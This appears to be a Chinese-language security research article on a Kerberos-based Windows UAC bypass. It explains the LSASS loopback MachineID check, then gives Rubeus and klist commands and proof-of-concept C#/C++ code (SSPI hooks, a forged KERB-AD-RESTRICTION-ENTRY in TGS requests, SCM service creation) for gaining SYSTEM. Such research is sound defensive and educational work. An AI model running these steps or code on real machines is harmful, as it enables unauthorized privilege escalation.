作者:WHOAMI@XIAORANG.LAB
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org
Background
本文章的靈感來自 James Forshaw(@tiraniddo)在 BlackHat USA 2022 上分享的名為 “Taking Kerberos To The Next Level” 的議題,他分享的了濫用 Kerberos 票據實現 UAC 繞過的 Demo,并通過一篇名為 “Bypassing UAC in the most Complex Way Possible!” 的博客介紹了這背后的原理,這引起了我的濃厚興趣。盡管他沒有提供完整的利用代碼,但我基于 Rubeus 構建了一個 POC。作為一個用于原始 Kerberos 交互和票據濫用的 C# 工具集,Rubeus 提供了簡便的接口,使我們能夠輕松地發起 Kerberos 請求和操作 Kerberos 票據。
Think For a While
用戶帳戶控制 (User Account Control,UAC) 使用戶能夠以非管理員身份執行常見的日常任務。作為管理員組成員的用戶帳戶將使用最小權限原則運行大多數應用程序。此外,為了更好地保護屬于本地管理員組成員的用戶,微軟在網絡上實施 UAC 限制,此機制有助于防止環回攻擊。對于本地用戶帳戶,除了 Administrator 以外,本地管理員組的成員無法在遠程計算機上獲得提升的權限。對于域用戶賬戶,域管理員組的成員將在遠程計算機上使用完全管理員訪問令牌運行,并且 UAC 將不會生效。
這是因為,在默認情況下,如果用戶擁有本地管理員組成員身份,LSASS 將過濾任何網絡身份驗證令牌以刪除管理員權限。但如果用戶是域管理員組的成員,那么 LSASS 將允許網絡身份驗證使用完整的管理員令牌。那么思考一下,如果您使用 Kerberos 進行本地身份驗證,這不就是一個微不足道的 UAC 繞過嗎?如果真的可以,那么只需以域用戶身份向本地服務進行身份驗證,就會獲得未經過濾的網絡令牌。
然而,事實上,這不可能。Kerberos 協議有特定的附加功能來阻止上述攻擊,這也確保了一定程度的安全。如果您沒有以管理員令牌身份運行,那么訪問 SMB 環回接口不應突然授予您管理員權限,否則您可能會意外破壞系統。那么 LSASS 是如何判斷目標服務是否位于當前這臺機器上的呢?
Kerberos Loopback
早在 2021 年 1 月,Microsoft 的 Steve Syfuhs(@SteveSyfuhs)就發表過一篇名為 “Preventing UAC Bypass through Kerberos Loopback” 的文章。其中描述到以下內容:
“The ticket is created by the KDC. The client can't see inside it, and can't manipulate it. It's opaque. However, the client can ask the KDC to include extra bits in the ticket.
These extra bits are just a way to carry information from the client to the target service during authentication. As it happens one of the things the client always asks to include is a machine nonce.
See, when the client asks the client Kerberos stack for a ticket, the stack creates a random bit of data and stashes it in LSA and associates it to the currently logged on user. This is the nonce. This nonce is also stuck in the ticket, and then received by the target service.
The target service knows about this nonce and asks LSA if it happens to have this nonce stashed somewhere. If it doesn't, well, then it's another machine and just carry on as usual.
However, if it does have this nonce, LSA will inform the Kerberos stack that it originally came from user so and so, and most importantly that the user was not elevated at the time.”
這里提到了一個重要的元素就是 “machine nonce”,如果票據中的 “machine nonce” 值在目標服務機器上可以找到,那就說明發起 Kerberos 請求的客戶端和目標服務位于同一臺機器上。最重要的是,這將導致 LSASS 過濾網絡令牌。
我在微軟 “[MS-KILE]: Kerberos Protocol Extensions” 文檔中記載的的 LSAP_TOKEN_INFO_INTEGRITY 結構中找到了這個 “machine nonce”,該結構 LSAP_TOKEN_INFO_INTEGRITY 結構指定客戶端的完整性級別信息,如下所示,其中的 MachineID 成員就是 “machine nonce”。
typedef struct _LSAP_TOKEN_INFO_INTEGRITY {
unsigned long Flags;
unsigned long TokenIL;
unsigned char MachineID[32];
} LSAP_TOKEN_INFO_INTEGRITY, *PLSAP_TOKEN_INFO_INTEGRITY;
MachineID 其實是一個用于識別調用機器的 ID,他在計算機啟動時創建通過隨機數生成器進行初始化,也就是說,每次啟動計算機時,MachineID 都會變化。他的真實值記錄到 lsasrv.dll 模塊的 LsapGlobalMachineID 全局變量,并由 LSASS 加載到其進程空間中。
此外,在微軟官方文檔 “[MS-KILE]: Kerberos Protocol Extensions, section 3.4.5.3 Processing Authorization Data” 中還記載了以下內容:
“The server MUST search all AD-IF-RELEVANT containers for the KERB_AUTH_DATA_TOKEN_RESTRICTIONS and KERB_AUTH_DATA_LOOPBACK authorization data entries. The server MAY search all AD-IF-RELEVANT containers for all other authorization data entries. The server MUST check if KERB-AD-RESTRICTION-ENTRY.Restriction.MachineID is equal to machine ID.
- If equal, the server processes the authentication as a local one, because the client and server are on the same machine, and can use the KERB-LOCAL structure AuthorizationData for any local implementation purposes.
- Otherwise, the server MUST ignore the KERB_AUTH_DATA_TOKEN_RESTRICTIONS Authorization Data Type, the KERB-AD-RESTRICTION-ENTRY structure, the KERB-LOCAL, and the containing KERB-LOCAL structure.”
服務器必須在服務票據的 PAC 結構所包含的所有 AD-IF-RELEVANT
容器中搜索 KERB_AUTH_DATA_TOKEN_RESTRICTIONS
和 KERB_AUTH_DATA_LOOPBACK
授權數據條目。并且,必須檢查 KERB-AD-RESTRICTION-ENTRY.Restriction.MachineID
是否等于機器 ID(LsapGlobalMachineID)。如果相等,則服務器將身份驗證視為本地身份驗證,因為客戶端和服務器位于同一臺計算機上,LSASS 中的 Kerberos 模塊將調用 LSA 函數 LsaISetSupplementalTokenInfo
, 以將票據的 KERB-AD-RESTRICTION-ENTRY
結構中的信息應用到令牌,相關代碼如下所示。
NTSTATUS LsaISetSupplementalTokenInfo(PHANDLE phToken,
PLSAP_TOKEN_INFO_INTEGRITY pTokenInfo) {
// ...
BOOL bLoopback = FALSE:
BOOL bFilterNetworkTokens = FALSE;
if (!memcmp(&LsapGlobalMachineID, pTokenInfo->MachineID,
sizeof(LsapGlobalMachineID))) {
bLoopback = TRUE;
}
if (LsapGlobalFilterNetworkAuthenticationTokens) {
if (pTokenInfo->Flags & LimitedToken) {
bFilterToken = TRUE;
}
}
PSID user = GetUserSid(*phToken);
if (!RtlEqualPrefixSid(LsapAccountDomainMemberSid, user)
|| LsapGlobalLocalAccountTokenFilterPolicy
|| NegProductType == NtProductLanManNt) {
if ( !bFilterToken && !bLoopback )
return STATUS_SUCCESS;
}
/// Filter token if needed and drop integrity level.
}
上述代碼的執行邏輯可以參考下圖所示的流程。
在 LsaISetSupplementalTokenInfo
函數中主要進行了三個檢查:
- 第一個檢查比較
KERB-AD-RESTRICTION-ENTRY
中的MachineID
字段是否與 LSASS 中存儲的LsapGlobalMachineID
變量值相匹配。如果是,則設置bLoopback
標志。 - 然后它會檢查
LsapGlobalFilterNetworkAuthenticationTokens
的值來過濾所有網絡令牌,此時它將檢查LimitedToken
標志并相應地設置bFilterToken
標志。此過濾模式默認為關閉,因此通常不會設置bFilterToken
。 - 最后,代碼查詢當前創建的令牌所屬賬戶 SID 并檢查以下任一條件是否為真:
- 用戶 SID 不是本地帳戶域的成員。
LsapGlobalLocalAccountTokenFilterPolicy
非零,這會禁用本地帳戶過濾。NegProductType
與NtProductLanManNt
相匹配,它實際上對應于域控制器。
如果最后三個任何中的任何一個條件為真,那么只要令牌信息既沒有環回也沒有強制過濾,該函數將返回成功并且不會發生過濾。
對于令牌的完整性級別,如果正在進行過濾,則它將下降到 KERB-AD-RESTRICTION-ENTRY
中 TokenIL
字段所指定的值。但是,它不會將完整性級別提高到高于創建的令牌默認的完整性級別,因此不能濫用它來獲得系統完整性。
Add a Bogus MachineID
看到這里估計你應該多少有些理解了。假設您已通過域用戶身份驗證,那么最簡單的濫用方式就是讓 MachineID 檢查失敗。全局變量 LsapGlobalMachineID
的值是由 LSASS 在計算機啟動時生成的隨機值。
Restart Server
一種方法是為本地系統生成 KRB-CRED 格式的服務票據并保存到磁盤,重新啟動系統以使 LsapGlobalMachineID
重新初始化,然后在返回系統時重新加載之前的票據。此時,該票證將具有不同的 MachineID,因此 Kerberos 將忽略 KERB_AUTH_DATA_TOKEN_RESTRICTIONS
等限制條目,就像微軟官方文檔中描述的那樣。您可以使用 Windows 內置的 klist 命令配合 Rubeus 工具集來完成此操作。
(1)首先使用 klist 命令獲取本地服務器 HOST 服務的票據:
klist get HOST/$env:COMPUTERNAME
(2)使用 Rubeus 導出申請的服務票據:
Rubeus.exe dump /server:$env:COMPUTERNAME /nowrap
(3)重新啟動服務器,并將 Rubeus 導出的服務票據重新提交到內存中:
Rubeus.exe ptt /ticket:<BASE64 TICKET>
此時,由于票據中擁有與 LsapGlobalMachineID 值不同的 MachineID,將不再過濾網絡令牌。你可以使用 Kerberos 身份驗證通過 HOST/HOSTNAME 或 RPC/HOSTNAME SPN 訪問服務控制管理器(SCM)的命名管道或 TCP。請注意,SCM 的 Win32 API 始終使用 Negotiate 身份驗證。James Forshaw 創建了一個簡單的 POC:SCMUACBypass.cpp,其通過 HOOK AcquireCredentialsHandle 和 InitializeSecurityContextW 這兩個 API,將 SCM 調用的認證包名字(pszPackage)更改為 Kerberos,使 SCM 在本地認證時能夠使用 Kerberos,如下所示。
SECURITY_STATUS SEC_ENTRY AcquireCredentialsHandleWHook(
_In_opt_ LPWSTR pszPrincipal, // Name of principal
_In_ LPWSTR pszPackage, // Name of package
_In_ unsigned long fCredentialUse, // Flags indicating use
_In_opt_ void* pvLogonId, // Pointer to logon ID
_In_opt_ void* pAuthData, // Package specific data
_In_opt_ SEC_GET_KEY_FN pGetKeyFn, // Pointer to GetKey() func
_In_opt_ void* pvGetKeyArgument, // Value to pass to GetKey()
_Out_ PCredHandle phCredential, // (out) Cred Handle
_Out_opt_ PTimeStamp ptsExpiry // (out) Lifetime (optional)
)
{
WCHAR kerberos_package[] = MICROSOFT_KERBEROS_NAME_W;
printf("AcquireCredentialsHandleHook called for package %ls\n", pszPackage);
if (_wcsicmp(pszPackage, L"Negotiate") == 0) {
pszPackage = kerberos_package;
printf("Changing to %ls package\n", pszPackage);
}
return AcquireCredentialsHandleW(pszPrincipal, pszPackage, fCredentialUse,
pvLogonId, pAuthData, pGetKeyFn, pvGetKeyArgument, phCredential, ptsExpiry);
}
SECURITY_STATUS SEC_ENTRY InitializeSecurityContextWHook(
_In_opt_ PCredHandle phCredential, // Cred to base context
_In_opt_ PCtxtHandle phContext, // Existing context (OPT)
_In_opt_ SEC_WCHAR* pszTargetName, // Name of target
_In_ unsigned long fContextReq, // Context Requirements
_In_ unsigned long Reserved1, // Reserved, MBZ
_In_ unsigned long TargetDataRep, // Data rep of target
_In_opt_ PSecBufferDesc pInput, // Input Buffers
_In_ unsigned long Reserved2, // Reserved, MBZ
_Inout_opt_ PCtxtHandle phNewContext, // (out) New Context handle
_Inout_opt_ PSecBufferDesc pOutput, // (inout) Output Buffers
_Out_ unsigned long* pfContextAttr, // (out) Context attrs
_Out_opt_ PTimeStamp ptsExpiry // (out) Life span (OPT)
)
{
// Change the SPN to match with the UAC bypass ticket you've registered.
printf("InitializeSecurityContext called for target %ls\n", pszTargetName);
SECURITY_STATUS status = InitializeSecurityContextW(phCredential, phContext, &spn[0],
fContextReq, Reserved1, TargetDataRep, pInput,
Reserved2, phNewContext, pOutput, pfContextAttr, ptsExpiry);
printf("InitializeSecurityContext status = %08X\n", status);
return status;
}
// ...
int wmain(int argc, wchar_t** argv)
{
// ...
PSecurityFunctionTableW table = InitSecurityInterfaceW();
table->AcquireCredentialsHandleW = AcquireCredentialsHandleWHook;
table->InitializeSecurityContextW = InitializeSecurityContextWHook;
// ...
}
然后,它創建了一個服務,并以 SYSTEM 權限運行該服務。如下圖所示,成功獲取到 SYSTEM 權限。
Tgtdeleg Trick
另一種方法是我們自己生成服務票據。但需要注意一點,由于沒有且無法訪問當前用戶的憑據,我們無法手動生成 TGT。不過,Benjamin Delpy(@gentilkiwi)在其 Kekeo 中加入了一個技巧(tgtdeleg),允許你濫用無約束委派來獲取一個帶有會話密鑰的本地 TGT。
Tgtdeleg 通過濫用Kerberos GSS-API,以獲取當前用戶的可用 TGT,而無需在主機上獲取提升的權限。該方法使用 AcquireCredentialsHandle
函數獲取當前用戶的 Kerberos 安全憑據句柄,并使用 ISC_REQ_DELEGATE
標志和目標 SPN 為 HOST/DC.domain.com
調用 InitializeSecurityContext
函數,以準備發送給域控制器的偽委派上下文。這導致 GSS-API 輸出中的 KRB_AP-REQ 包含了在 Authenticator Checksum 中的 KRB_CRED。然后,從本地 Kerberos 緩存中提取服務票據的會話密鑰,并用它來解密 Authenticator 中的KRB_CRED,從而獲得一個可用的 TGT。Rubeus 工具集種也融合了該技巧,具體細節請參考 “Rubeus – Now With More Kekeo”。
有了這個 TGT,我們就可以生成自己的服務票據了,可行的操作流程如下所示:
- 使用 Tgtdeleg 技巧獲取用戶的 TGT。
- 使用 TGT 向 KDC 請求為本地計算機生成新的服務票據。添加一個
KERB-AD-RESTRICTION-ENTRY
,但填入虛假的 MachineID。 - 將服務票據提交到緩存中。
- 訪問 SCM 創建系統服務以繞過 UAC。
Implemented By C
為了實現上述流程,我基于 Rubeus 創建了自己的 POC:https://github.com/wh0amitz/KRBUACBypass
Main Class
這里我寫了兩個功能模塊,一個是 asktgs,用于申請服務票據,得到票據后通過 krbscm 功能訪問 SCM 創建系統服務,如下所示。
private static void Run(string[] args, Options options)
{
string method = args[0];
string command = options.Command;
Verbose = options.Verbose;
// Get domain controller name
string domainController = Networking.GetDCName();
// Get the dns host name of the current host and construct the SPN of the HOST service
string service = $"HOST/{Dns.GetHostName()}";
// Default kerberos etype
Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial;
string outfile = "";
bool ptt = true;
if(method == "asktgs")
{
// Execute the tgtdeleg trick
byte[] blah = LSA.RequestFakeDelegTicket();
KRB_CRED kirbi = new KRB_CRED(blah);
Ask.TGS(kirbi, service, requestEType, outfile, ptt, domainController);
}
if (method == "krbscm")
{
// extract out the tickets (w/ full data) with the specified targeting options
List<LSA.SESSION_CRED> sessionCreds = LSA.EnumerateTickets(false, new LUID(), "HOST", null, null, true);
if(sessionCreds[0].Tickets.Count > 0)
{
// display tickets with the "Full" format
LSA.DisplaySessionCreds(sessionCreds, LSA.TicketDisplayFormat.Klist);
try
{
KrbSCM.Execute(command);
}
catch { }
return;
}
else
{
Console.WriteLine("[-] Please request a HOST service ticket for the current user first.");
Console.WriteLine("[-] Please execute: KRBUACBypass.exe asktgs.");
return;
}
}
if (method == "system")
{
try
{
KrbSCM.RunSystemProcess(Convert.ToInt32(args[1]));
}
catch { }
return;
}
}
Asktgs
Asktgs 功能首先調用 Rubeus 提供的 LSA.RequestFakeDelegTicket()
方法執行 tgtdeleg 技巧,并將返回的用戶 TGT 以 byte 類型保存在 blah
中,如下所示。
if(method == "asktgs")
{
// Execute the tgtdeleg trick
byte[] blah = LSA.RequestFakeDelegTicket();
KRB_CRED kirbi = new KRB_CRED(blah);
Ask.TGS(kirbi, service, requestEType, outfile, ptt, domainController);
}
然后將 blah 中的內容根據 ASN.1 編碼規則初始化為 KRB_CRED 類型。有了 KRB_CRED 類型的 TGT 后,我們就可以添加或修改 TGT 中的元素了。
Kerberos 協議在其文檔 “[RFC4120] The Kerberos Network Authentication Service (V5)” 中以抽象語法標記(Abstract Syntax Notation One,ASN.1)的形式進行定義,ASN.1 提供了一種語法來指定協議消息的抽象布局及其編碼方式。Kerberos 協議消息的編碼應遵守 [X690] 中描述的 ASN.1 的可分辨編碼規則(DER)。
KRB_CRED 結構是將 Kerberos 憑據從一個主體發送到另一個主體的消息格式。KRB_CRED 消息包含一系列要發送的票證和使用票證所需的信息,包括每個票證的會話密鑰。Kerberos 協議中的 KRB_CRED 結構應采用以下形式的 ASN.1 模塊定義:
KRB-CRED ::= [APPLICATION 22] SEQUENCE {
pvno [0] INTEGER (5),
msg-type [1] INTEGER (22),
tickets [2] SEQUENCE OF Ticket,
enc-part [3] EncryptedData -- EncKrbCredPart
}
EncKrbCredPart ::= [APPLICATION 29] SEQUENCE {
ticket-info [0] SEQUENCE OF KrbCredInfo,
nonce [1] UInt32 OPTIONAL,
timestamp [2] KerberosTime OPTIONAL,
usec [3] Microseconds OPTIONAL,
s-address [4] HostAddress OPTIONAL,
r-address [5] HostAddress OPTIONAL
}
KrbCredInfo ::= SEQUENCE {
key [0] EncryptionKey,
prealm [1] Realm OPTIONAL,
pname [2] PrincipalName OPTIONAL,
flags [3] TicketFlags OPTIONAL,
authtime [4] KerberosTime OPTIONAL,
starttime [5] KerberosTime OPTIONAL,
endtime [6] KerberosTime OPTIONAL,
renew-till [7] KerberosTime OPTIONAL,
srealm [8] Realm OPTIONAL,
sname [9] PrincipalName OPTIONAL,
caddr [10] HostAddresses OPTIONAL
}
接下來將調用 Ask.TGS()
方法,請求一個 TGS 票據(服務票據)。由于我們需要在服務票據中添加新的 KERB-AD-RESTRICTION-ENTRY
結構,但是服務票據是使用應用程序服務器的 Long-term Key 加密的,限于當前的權限,我們無法訪問。因此我們只要在構造 KRB_KDC_REQ 請求之前,將偽造的 KERB-AD-RESTRICTION-ENTRY
結構添加到 KRB_KDC_REQ 消息的 enc-authorization-data
元素中。當 KRB_KDC_REQ 請求發送到 KDC 后,KRB_KDC_REQ 消息中的 enc-authorization-data
會被復制到服務票據的 enc-part.authorization-data
元素中,并在 KRB_KDC_REP 消息中返回。這樣,我們申請的服務票據便包含了偽造的 KERB-AD-RESTRICTION-ENTRY
以及虛假的 MachineID 了。
只需要在 lib\krb_structures\TGS_REQ.cs 中添加以下代碼,如下所示:
if (KRBUACBypass.Program.BogusMachineID)
{
req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE;
req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK;
// Add a KERB-AD-RESTRICTION-ENTRY but fill in a bogus machine ID.
// Initializes a new AD-IF-RELEVANT container
ADIfRelevant ifrelevant = new ADIfRelevant();
// Initializes a new KERB-AD-RESTRICTION-ENTRY element
ADRestrictionEntry restrictions = new ADRestrictionEntry();
// Initializes a new KERB-LOCAL element, optional
ADKerbLocal kerbLocal = new ADKerbLocal();
// Add a KERB-AD-RESTRICTION-ENTRY element to the AD-IF-RELEVANT container
ifrelevant.ADData.Add(restrictions);
// Optional
ifrelevant.ADData.Add(kerbLocal);
// ASN.1 encode the contents of the AD-IF-RELEVANT container
AsnElt authDataSeq = ifrelevant.Encode();
// Encapsulate the ASN.1-encoded AD-IF-RELEVANT container into a SEQUENCE type
authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq);
// Get the final authorization data byte array
byte[] authorizationDataBytes = authDataSeq.Encode();
// Encrypt authorization data to generate enc_authorization_data byte array
byte[] enc_authorization_data = Crypto.KerberosEncrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, clientKey, authorizationDataBytes);
// Assign the encrypted authorization data to the enc_authorization_data field of the KRB_KDC_REQ
req.req_body.enc_authorization_data = new EncryptedData((Int32)paEType, enc_authorization_data);
// encode req_body for authenticator cksum
// Optional
AsnElt req_Body_ASN = req.req_body.Encode();
AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN });
req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq);
byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue();
cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5);
}
Krbscm
這里,krbscm 的功能與 James Forshaw 的 SCMUACBypass.cpp 相同,不再贅述。
Let’s see it in action
現在讓我們來看一下運行效果,如下圖所示。首先通過 asktgs 功能申請當前服務器 HOST 服務的票據,然后通過 krbscm 創建系統服務,以獲取 SYSTEM 權限。
KRBUACBypass.exe asktgs
KRBUACBypass.exe krbscm
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/3003/
暫無評論